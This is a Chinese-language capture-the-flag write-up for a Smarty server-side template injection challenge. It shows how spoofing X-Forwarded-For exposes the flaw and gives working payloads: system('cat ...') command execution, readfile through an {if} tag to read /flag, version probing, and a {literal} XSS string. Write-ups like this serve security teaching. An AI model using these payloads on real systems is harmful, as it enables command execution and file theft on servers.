打开环境:
发现Build With Smarty !说明应该是与ssti模板注入有关。
发现xff,还有右上角的Current IP:139.205.239.33,就尝试伪造一下IP:
成功伪造,那就看看xff这个地方有无ssti注入漏洞:
说明存在ssti注入漏洞,且为twig类型,我们试试能不能命令执行:
成功执行了,那就简单了,当前目录下有
api
css
index.php
smarty
templates_c
xff
xff
分别读取:X-Forwarded-For:{system(‘cat /api’)}
X-Forwarded-For:{system(‘cat /css’)}
X-Forwarded-For:{system(‘cat /index.php’)}
X-Forwarded-For:{system(‘cat /smarty’)}
X-Forwarded-For:{system(‘cat /templates_c’)}
X-Forwarded-For:{system(‘cat /xff’)}
X-Forwarded-For:{system(‘cat /flag’)}
X-Forwarded-For:{system(‘cat /flag.php’)}
都没发现内容,那就看看根目录:
发现了flag,读取:
另外发现{$smarty.version},返回版本信息3.1.30,if标签能用
smarty中的{if}标签中也可以执行php语句,得flag:{if readfile('/flag')}{/if}
smarty中还有{literal}、{php}(smarty 2可用),试试{literal}或许还有别的解题思路。
{literal}可以让块中间的内容忽略Smarty的解析,paylaod: {literal}alert('xss');{/literal} 可以产生 xss